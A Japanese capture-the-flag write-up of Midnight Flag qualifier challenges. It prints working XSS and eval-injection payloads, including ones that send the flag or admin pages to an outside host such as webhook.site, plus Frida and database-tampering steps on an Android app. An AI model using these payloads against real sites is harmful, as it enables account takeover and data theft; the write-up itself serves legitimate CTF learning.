4/12 - 4/14という日程で開催された。僕は一体どうすればいい? 上手く言えなかった言葉 それでも届けたい言葉として、BunkyoWesternsで参加して3位。上位12チーム(+学生13チーム)がフランスはレンヌで開催される決勝大会に招待されるとのこと。エアバスやSynacktivといった錚々たるメンツがスポンサーに名を連ねているけれども、たぶん旅費や宿泊費は出ない。エアバスがスポンサーなのに旅費が出ないというのはこう、なんとかならないか。
IERAE CTFとも被っているしどうしようかなあ。予選はWeb問が面白かったし決勝も期待できるだろうとか、どうやら9時から始まり18時に終わる健康CTFらしくいいなあとか、ちょうどよい機会なのでフランスに行ってみたいとかいった気持ちがある。
ほかのメンバーのwriteup:
リンク:
- [Web 50] BeatIt
- [Web 397] Post Playground
- [Web 489] Post Playground - Revenge
- [Misc 50] T34S3R
- [Misc 220] HALL OF FLAGS 1/2
- [Misc 484] MidnightCraft 1/2
- [Steganography 369] Tonalizer
- [Android 50] Bby Neopasswd
- [Android 405] Neopasswd2
- [OSINT 50] Night City - Ripperdoc
- [OSINT 220] Night City - Cyberpsycho
[Web 50] BeatIt
You’re up against The Bot—a relentless, merciless, cold-hearted machine that plays first. Why? Because I said so.
The Rules : (That You Must Obey !)
There are 20 sticks on the table. They stare at you. You stare back.
The bot always starts. No negotiations. This is my game, my rules.
On your turn, you can remove 1, 2, or 3 sticks. Choose wisely, mortal.
The player who takes the last stick LOSES. Meaning, if you pick up that final lonely stick… it's Game Over. And the bot laughs at you. Probably...Format : MCTF{Flag}
Author : Neoreo
ソースコードなし。問題サーバのinstancerのURLだけが与えられている。起動すると、17本の棒を2人のプレイヤーが1-3本ずつ抜き合い、最後の1本を抜いた方が負けのあのゲームが表示された。botに勝てばフラグがもらえそうだけれども、botが先手だし常に最善手を取ってくるので絶対に勝てない。
クライアント側では抜こうとしている本数が1-3本かどうかチェックしているけれども、サーバ側ではどうだろうか。以下のようなコードでbotにターンが回った際に1本だけ残るような本数を抜いてみる。通った。サーバ側ではチェックしていなかったようだ。
(async () => { const playerChoice = 16; try { const response = await fetch('/play', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ player_choice: playerChoice }) }); const data = await response.json(); console.log(data); } catch {} })();
MCTF{FAKE_FLAG_FOR_TESTING}
[Web 397] Post Playground
Super secure futurist request maker, sounds great ?
Format : MCTF{Flag}
Author : Worty添付ファイル: postplayground.zip
今度はソースコードがあった。問題サーバのinstancerのURLも与えられている。これはどういうアプリか。アクセスすると次のようなどぎつい色のUIが出迎えてくれる。CORSが適切に設定されたURLを入力すると、いい感じにそのレスポンスを表示してくれる。XSSは普通には起こせないように見える。
Save project
ボタンを押すとその結果を保存することができ、後から見直すことができるようになる。Report this playground as buggy
ボタンを押すとadminがそれを見に来てくれる。
左側の Variables
とはなにか。ここで変数を設定しておくと、たとえば https://example.com/?{{a}}
のように {{
と }}
で囲まれた文字列がURLに含まれていた場合に、その部分を a
という変数に設定されている文字列で置き換えてくれる。
このUIは、以下の3つのパーツから成っている。render_frame
と exec_frame
は iframe
で表示されている。これらはお互いに postMessage
でコマンドを送り合っている。
playground
: なにもしない。render_frame
を埋め込んでいるだけrender_frame
: URLや変数の入力を行い、exec_frame
から返ってきたレスポンスを描画するexec_frame
: URL中のテンプレートを展開し、リクエストを行う。これだけ、問題サーバとは異なる外部のオリジンでホストされている
それぞれのコードを眺めていると、exec_frame
で実装されているURL中に含まれるテンプレートの展開処理がとんでもないことをやっていることに気づいた。単純な replaceAll
で済むところ、わざわざ大変雑にコードを組み立てて eval
を行っている。まずここでRCEに持ち込めないか。
function matchAndExtract(match, url) { var rx = new RegExp(`{{${match}}}`,"g"); var arr = rx.exec(url); return arr !== null ? arr[0] : false; } function templateUrl(url, variables){ let src = `let url = "${url}";\n`; for(const key in variables) { if(matchAndExtract(key, url)) { src += `url = url.replace("{{${key}}}","${variables[key]}");\n`; } } var mask = {}; for (p in this) mask[p] = undefined; src += "return url;" return "with(this) { " + src + "}"; } function sanitizeUrl(url) { return url.replaceAll('"',"").replaceAll("`",""); }
URLは sanitizeUrl
によって変な文字が削除されてしまうけれども、変数名に関しては異なる。.*|"+console.log(123)+"
という名前の変数を作成し、https://example.com/?{{a}}
のようなURLにリクエストを投げてみると、123
とコンソールに表示された。問題サーバのコンテキストではないが、exec_frame
で任意のコードの実行に持ち込めたようだ。なお、.*|
をわざわざ先頭に付けているのは、matchAndExtract
でマッチしなければ変数が展開されないようになっているためだ。
これで exec_frame
から render_frame
に任意のメッセージを送れるようになったわけだが、なにかXSSに持ち込めそうなコマンドはないか。眺めていると、load_variable
という変数の読み込み処理に気になる箇所があった。innerHTML
を使っている。
switch(event.data.action) { case "load_variable": let backend_raw_resp; let content; if(event.data.vars.id !== undefined && event.data.vars.id !== "NULL") { backend_raw_resp = await fetchData(`/api/playground/${event.data.vars.id}`, "GET", true); try{ content = JSON.parse(backend_raw_resp); if(content.status === 200) { current_project_id = event.data.vars.id; data = JSON.parse(atob(content["data"]["data"])); document.getElementById("project_id_text").innerHTML = `<button onclick='saveProject()'>Save project</button> Current project id: ${current_project_id}`;
.*|"+(()=>{ globalThis.top.postMessage({"action":"load_variable","vars":{"id":"<img src=x onerror=alert(123)>test</s>/../../../../api/playground/(存在するproject ID)"}}, "(問題サーバのオリジン)") })()+"
というような変数名を設定し、リクエストを送る。これで問題サーバのコンテキストでアラートが表示された。
後はやるだけだ。次のような手順でフラグが得られた。
https://example.com/aaa.php?{{a}}
のような適当なURLでprojectを作る(project A,{{a}}
を付けないと変数の展開が行われないので注意)- もう一個同じ構成でprojectを作る(project B)
- project Bで変数名に次のペイロードを入力し
Save project
- adminに報告する
.*|"+(()=>{ globalThis.top.postMessage({"action":"load_variable","vars":{"id":"<img src=x onerror='fetch(`/api/flag`).then(r=>r.text()).then(r=>{location.href=[`//(省略)/`,r]})'>test</s>/../../../../../../../../../../api/playground/(project AのID)"}}, "(問題サーバのオリジン)") })()+"
MCTF{09fd5e94f935d82942ad5069aae09920}
[Web 489] Post Playground - Revenge
Super secure futurist request maker, sounds great ? Fix version (:
Format : MCTF{Flag}
Author : Worty添付ファイル: postplayground_revenge.zip
Post Playgroundを解くとこの問題が表示された。リベンジということで何が変わったのかdiffを見てみる。元々ユーザがリクエストしてきたオリジンをそのままbotに渡していたところ、http://127.0.0.1:3000
固定にしている。なるほど、修正前のコードだと、攻撃者のサーバのオリジンを渡してしまえばそこにアクセスしてadminのユーザ名とパスワードが入力してしまうので、それを盗み取ってしまうという解法が通じたのだろう。やらかしているなあ。
$ diff -ur ../../../Post\ Playground/orig/server/ . diff -ur "../../../Post Playground/orig/server/routes/api.js" ./routes/api.js --- "../../../Post Playground/orig/server/routes/api.js" 2025-04-13 01:12:08.592275800 +0900 +++ ./routes/api.js 2025-04-13 01:34:50.000000000 +0900 @@ -168,9 +168,8 @@ res.status(401).send('Please login before reporting to bot.'); } if(req.body.uuid !== undefined && typeof(req.body.uuid) === "string") { - if(UUID_RE.exec(req.body.uuid) && req.get('origin') !== undefined && - (req.get('origin').startsWith("http://") || req.get('origin').startsWith("https://")) ) { - let bot_res = await bot.goto(req.body.uuid, req.get('origin'), ADM_USERNAME, ADM_PASSWORD); + if(UUID_RE.exec(req.body.uuid) && req.get('origin')) { + let bot_res = await bot.goto(req.body.uuid, "http://127.0.0.1:3000", ADM_USERNAME, ADM_PASSWORD); if(bot_res) { res.status(200).json({"status":200, "data": "Nothing seems wrong with this playground."}); } else {
それに気づかず正攻法で解いていたので、ペイロード中のオリジンを修正するだけで通った。
MCTF{4d58bebfb1367265c768196b4c068f46}
[Misc 50] T34S3R
Have you been teased ?
Format : MCTF{...}
説明が少なすぎる。そういうティザーサイト等があるのだろうと「midnight flag ctf teaser」で検索してみたところ、YouTubeに動画が見つかった。注意深く動画を見てみるものの、それっぽいものはない。ならば他の場所にあるのだろうと見てみると、動画の概要欄に MCTF{T34S3R_
が、コメント欄に 1S_T34S1NG}
が隠れていた。
MCTF{T34S3R_1S_T34S1NG}
[Misc 220] HALL OF FLAGS 1/2
Signal lost... Attempting data restoration...
A corrupted memory fragment has resurfaced on the MIDNIGHT underground network. Battle traces, remnants of a forgotten team... An anomaly lingers within the archives of an old trainer.
The Hall of Fame records every victory, yet the very first entry seems to have been erased. Who were the true champions? What secrets lie buried in the depths of this save file?Mission:
A save file pokemon_save.sav has been intercepted. Uncover the first team that marked the Hall of Fame. Access to this data is locked. Only the right tools can unearth these digital memories...Format : MCTF{flag}
Author : An0nymoX添付ファイル: pokemon_save.sav
よくわからないバイナリファイルが渡される。pokemon_save.sav
という特徴的なファイル名でググってみると、GBxProgrammerというツールがヒットした。これはゲームボーイのROM等をダンプするためのツールであり、pokemon_save.sav
はセーブデータをダンプする際の出力先となるファイル名の例示に使われている。
与えられたファイルは128KBであり、ゲームボーイにしては大きすぎる。たぶん。ゲームボーイアドバンスとかかなあと思いつつ、ファイアレッド・リーフグリーン、ルビー・サファイア・エメラルドあたりのセーブデータををパースしてくれるツールが無いか探す。PKHeXというツールがあったし、これでちゃんとパースできた。
殿堂入り時のメンバーの名前をつなげるとフラグになった。
MCTF{WELL-d0NE-Y0U-F0UND-HALL-0FAME)}
[Misc 484] MidnightCraft 1/2
A new minecraft server has opened its gates and appears to be connected to a showcase website.
Compromise it to discover what was meant to stay hidden.For your information, when you launch the challenge, 3 ports will be available:
"py-mctf" port is the showcase website
"mc-mctf" contains two ports. First one is the Minecraft server
Second one will be prompted to you when reaching the websiteFormat : MCTF{Flag} Author : BIEN_SUR
ソースコードなし。問題サーバのinstancerのURLだけが与えられている。問題サーバを起動してみると、MinecraftとWebでサーバが立ち上がる。まずWebから見てみると、これはMinecraftサーバの管理等を行えるものだとわかる。ログインフォームがあったり、次のようにMinecraftサーバで投稿されたチャットを確認できるようになっていたりもする。
このチャットは次のようにして描画されており、Content Security Policyも特に設定されていないので明らかにXSSが存在している。adminに直近5つのチャットを報告するボタンもあるので、これでadminを攻撃しろということらしい。
function displayMessage(data) { const messageList = document.getElementById("solid-chat-box"); const listItem = document.createElement("p"); listItem.innerHTML = `<span class="text-green-300 text-sm">[${data.time}]</span> <span class="font-bold">${data.player}</span>: ${data.message}`; messageList.appendChild(listItem); }
Minecraftサーバを見ていく。適当なツールで調べると、サーバはSpigot 1.21.4で動いているとわかる。バージョンを合わせると接続できる。私が問題を見た時点で、kanonさんによって次のようなコマンドが存在しているとわかっていた。/flag
を実行するとフラグがもらえる…わけではなく、実行するためにはOP権限が必要だった。なんとかして権限昇格できないか。
Webの話に戻る。<img src=x onerror="import(`//(省略)/aaa.php/a.js`)">
というようなペイロードを投げつつ、ここでアクセスされる aaa.php
を次のような形で書いておくと、ペイロードはそのままに実行されるJSコードは編集しやすくうれしい。
<?php header("Content-Type: application/javascript"); header("Access-Control-Allow-Origin: *"); ?> alert(123);
このペイロードを投げてadminに報告してみると、アクセスがあった。やっぱりXSS問っぽい。実行されるJSコードを次のようなものに変え、ログイン済みでなければ閲覧できない /panel
の内容を取得しようと試みる。
fetch('/panel').then(r => r.text()).then(r => { navigator.sendBeacon('//webhook.site/…', r); });
いい感じに抜き出すことができた。<script src="/static/js/sendMinecraftCmd.js"></script>
というように、/sendMinecraftCmd.js
という謎のJSファイルが読み込まれている。これは次のような内容で、/send_minecraft_cmd
というAPIを叩くためのものらしかった。
function clean(text) { return text.replace(/§./g, ''); } async function sendCommand() { const command = document.getElementById('cmd').value; if (!command) return; try { const response = await fetch('/send_minecraft_cmd', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ cmd: command }) }); const result = await response.json(); result.output = clean(result.output); const responseDiv = document.getElementById('commandResponse'); responseDiv.innerText = result.output; responseDiv.hidden = false; document.getElementById('cmd').value = ''; } catch (error) { console.error('Error:', error); const responseDiv = document.getElementById('commandResponse'); responseDiv.innerText = 'Une erreur est survenue.'; responseDiv.hidden = false; } } document.getElementById('cmd_btn').addEventListener('click', sendCommand); document.getElementById('cmd').addEventListener('keypress', async (event) => { if (event.key === 'Enter') { event.preventDefault(); await sendCommand(); } });
APIの名前から、Minecraftでコマンドを実行するというものと推測した。ログイン済みでなければ叩けないようなので、adminに叩かせる。XSSで実行するJSコードを次のように編集し、adminに報告する。
(async () => { const response = await fetch('/send_minecraft_cmd', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ cmd: 'msg (Minecraftサーバでの自分のID) test' }) }); navigator.sendBeacon('//webhook.site/…', await response.text()); })();
すると、次のように /msg
が実行されている様子が確認できた。これだ。
実行するコマンドを /op
に変え、OP権限を付与させることができないか試す。できた。OPになった上で /op
を実行すると、次のようにフラグが得られた。
MCTF{209eea248a86815d157c618dd8ef0f14}
[Steganography 369] Tonalizer
Mysterious frequencies have surfaced in the depths of Neon City.
Will you succeed in uncovering its secret ? It has to mean something...
Format : MCTF{whatyouwillfind}
(Case insensitive)
Author : BIEN_SUR添付ファイル: tonalizer.wav
与えられたWAVファイルを再生してみると、電話のピポピポ音が聞こえる。DTMFだ。気合で手作業でデコードすると、4444433336644466866666337777
と送信されていることがわかる。同じ数字が連続している辺り、トグル入力だろう。
ただ、4個以上同じアルファベットが連続している箇所があり、どこで区切ればよいかわからない。対応表を作りつつ、自力で区切る場所を見つける。なんとかそれっぽいものを復元できた。
MCTF{HIDDENINTONES}
[Android 50] Bby Neopasswd
bby neopasswd is a small mobile app currently under development by a group of students. Can you find the flag hidden within their early prototype?
Format : FLAG{Flag}
Author : Pwnii
添付ファイル: bby_neopasswd.apk
APKファイルが与えられている。Java Decompilerくんに投げるといい感じにデコンパイルしてくれた。適当に眺めていると、次のようなメソッドが見つかる。なにか怪しげな数値の配列があり、これをXORしている。
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { NotificationsViewModel notificationsViewModel = (NotificationsViewModel) new ViewModelProvider(this).get(NotificationsViewModel.class); this.binding = FragmentNotificationsBinding.inflate(inflater, container, false); View root = this.binding.mo391getRoot(); final TextView textView = this.binding.textNotifications; LiveData<String> text = notificationsViewModel.getText(); LifecycleOwner viewLifecycleOwner = getViewLifecycleOwner(); Objects.requireNonNull(textView); text.observe(viewLifecycleOwner, new Observer() { // from class: com.example.neopasswd.ui.notifications.NotificationsFragment$$ExternalSyntheticLambda0 @Override // androidx.lifecycle.Observer public final void onChanged(Object obj) { textView.setText((String) obj); } }); byte[] bArr = {15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63}; return root; } @Override // androidx.fragment.app.Fragment public void onDestroyView() { super.onDestroyView(); this.binding = null; } private byte[] encryptNotification(byte[] toEncrypt) { byte[] encrypted = new byte[toEncrypt.length]; for (int i = 0; i < encrypted.length; i++) { encrypted[i] = (byte) (toEncrypt[i] ^ 66); } return encrypted; } }
onCreateView
で登場している配列の各要素と、encryptNotification
で登場している66とを雑にXORする。フラグが得られた。
>>> a = 15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63 >>> ''.join(chr(c ^ 66) for c in a) 'MCTF{1t5_SuP3r_3asy_t0_F1nd_S3cret5}'
MCTF{1t5_SuP3r_3asy_t0_F1nd_S3cret5}
[Android 405] Neopasswd2
neopasswd2 is the shiny new version of the original app, now with notifications and login! The devs said it’s safe, that’s cuuute
Format : a_sp3c1f1c_s3nt3nc3
Author : Pwnii
添付ファイル: neopasswd2.apk
APKファイルが与えられている。ユーザ登録をするとメールの受信等ができるアプリらしい。Java Decompilerくんに投げるといい感じにデコンパイルしてくれた。
適当に眺めていると、めちゃくちゃ怪しい処理がある。ユーザの isAdmin
が true
かつボタンのクリックが2回目以降である場合に、なにかメッセージを復号している。
this.binding.appBarMain.fab.setOnClickListener(new View.OnClickListener() { // from class: com.example.neopasswd2.MainActivity.1 private boolean firstClick = true; @Override // android.view.View.OnClickListener public void onClick(View view) { if (!MainActivity.this.isAdmin) { Snackbar.make(view, "Sorry, only an admin can read messages. :/", 0).setAnchorView(R.id.fab).show(); } else if (!this.firstClick) { String decrypted = MainActivity.this.tryDecrypt("Mszhl+UnftsTwm7Ule0V28WQMptqd8uoc4AbDSBKavw="); if (decrypted != null) { Snackbar.make(view, "★" + decrypted, 0).setAnchorView(R.id.fab).show(); } else { Snackbar.make(view, "Sry bro, you don't have permission to read the notification :(", 0).setAnchorView(R.id.fab).show(); } } else { Snackbar.make(view, "A secret and important notification is about to arrive..", 0).setAnchorView(R.id.fab).show(); this.firstClick = false; } } });
tryDecrypt
の処理は次の通り。復号の対象が規定の文字数を超えていないかチェックした上で、もし問題なければ getObfuscatedString
で鍵を取得し復号している。
public String tryDecrypt(String base64Data) { try { byte[] encrypted = Base64.decode(base64Data, 0); if (encrypted.length > getMaxAllowedLength()) { return null; } byte[] key = getObfuscatedString().getBytes("UTF-8"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(2, new SecretKeySpec(key, "AES")); byte[] decrypted = cipher.doFinal(encrypted); String result = new String(decrypted, "UTF-8").trim(); return result; } catch (Exception e) { return null; } }
getMaxAllowedLength
の定義は次の通り。3文字は短すぎる。
public int getMaxAllowedLength() { return 3; }
getObfuscatedString
の定義は次の通り。ネイティブライブラリで実装されているらしい。libnative-lib.so
にあるが、真面目に静的解析すると面倒くさそうな見た目をしている。素直にメッセージが復号される条件を満たせるようにバイナリをいじるなりなんなりしていこう。
public native String getObfuscatedString();
まず、ユーザの isAdmin
を true
にしたい。これは簡単で、ユーザ情報はローカルにSQLiteのファイルとして保存されているので、それを書き換えればよい。そこらへんに転がっていたrootedなAndroid端末を持ってきて、アプリをインストールし適当なユーザを作成した。次のような手順で isAdmin
を true
にできた。
(Android端末側) river_n:/data/data/com.example.neopasswd2/databases # ls -la total 26 drwxrwx--x 2 u0_a215 u0_a215 3488 2025-04-12 23:09 . drwx------ 7 u0_a215 u0_a215 3488 2025-04-12 23:09 .. -rw-rw---- 1 u0_a215 u0_a215 20480 2025-04-12 23:09 users.db river_n:/data/data/com.example.neopasswd2/databases # cp users.db /sdcard/Download/ (Android端末をつなげたPC側) $ adb pull /sdcard/Download/users.db . /sdcard/Download/users.db: 1 file pulled, 0 skipped. 1.2 MB/s (20480 bytes in 0.016s) $ sqlite3 users.db sqlite> UPDATE users SET admin=1; sqlite> .q $ adb push users.db /sdcard/Download/ users.db: 1 file pushed, 0 skipped. 41.4 MB/s (20480 bytes in 0.000s) (Android端末側) river_n:/data/data/com.example.neopasswd2/databases # cp /sdcard/Download/users.db .
次は getMaxAllowedLength
をなんとかする必要がある。Fridaで挙動を変えさせよう。Claudeに適当にコードを書かせる。
// getMaxAllowedLength メソッドの返り値を 160 に変更する Frida スクリプト Java.perform(function() { // MainActivityクラスを取得 var MainActivity = Java.use("com.example.neopasswd2.MainActivity"); // getMaxAllowedLengthメソッドをフック MainActivity.getMaxAllowedLength.implementation = function() { // 元のメソッドを呼び出して元の値を表示(デバッグ用) var originalValue = this.getMaxAllowedLength(); console.log("[+] Original getMaxAllowedLength value: " + originalValue); // 返り値を160に置き換え console.log("[+] Changing getMaxAllowedLength return value to 160"); return 160; }; console.log("[+] Successfully hooked getMaxAllowedLength method"); });
frida-trace -U -i "getMaxAllowedLength" Neopasswd2
でこれを実行すると、次のようにフラグが表示された。
Th3_c4k3_1s_4_L13!
[OSINT 50] Night City - Ripperdoc
Your preferred Edgerrunner has sent you this message :
Hi Choum, I saw your mission request. I have an appointment with my ripperdoc to collect the reward of my mission.
My ripperdoc is less than a kilometer from my position.
Meet me at the nearest bar !Format : MCTF{Ripperdoc's_Full_Name:Bar}
Author : KØDΛ添付ファイル: Reward.png
次の画像が与えられている。質感が現実世界ではなくゲームっぽいし、雰囲気がCyberpunk 2077っぽい。撮影地に一番近いリパードクとバーを答えろという問題らしく、「リパードク」という用語が出てくるあたりCyberpunk 2077で間違いないだろう。
奥にあるこれをGoogleレンズで検索してみると、アラサカ・ウォーターフロントのコンセプトアートがヒットする。おそらくその周辺で撮影されたのだろう。
Webから参照できるインタラクティブマップがある。リパードクとバーだけアイコンが表示されるようにしつつ、マップ北西のアラサカ・ウォーターフロント付近でそれっぽい場所がないか探す。ここらへんだろう。
バーは明らかにTotentanzだ。リパードクはCassiusっぽいが、このマップからはフルネームが得られない。cassius cyberpunk
等で検索するとCassius Ryderがヒットする。これだ。
MCTF{Cassius_Ryder:Totentanz}
場所を勘違いして2回間違えた。アラサカの陰謀だと思う。
[OSINT 220] Night City - Cyberpsycho
Your received a call from your friend V during your holidays in Night City :
Hi Choum, I am on a mission and I need your help !
I am trying to recover a Perk Shard but I got called in for a damn Cyberpsycho who's wreaking havoc not far from my position.
I don't have the time to go there, I'm getting shot at from all sides by drones !
I send you a photo of my position, can you get some info on the cyberpsycho ?Format (case insensitive) : MCTF{The_Mission_Name:Cyberpsycho's_Name} Author : KØDΛ
添付ファイル: Mission.png
次の画像が与えられている。これはUIからしてどう見てもCyberpunk 2077だ。サイバーサイコの名前とそのミッションを答える問題らしい。
Googleレンズでいい感じに切り取って検索すると、ワトソンの放棄された倉庫っぽいとわかる。
これを手がかりに、先ほども使ったインタラクティブマップで撮影場所付近のサイバーサイコのミッションを探すと、ミッション名がCyberpsycho Sighting: Six Feet Underだとわかる。このミッションで登場するサイバーサイコは、Lely Heinだ。
MCTF{Six_Feet_Under:Lely_Hein}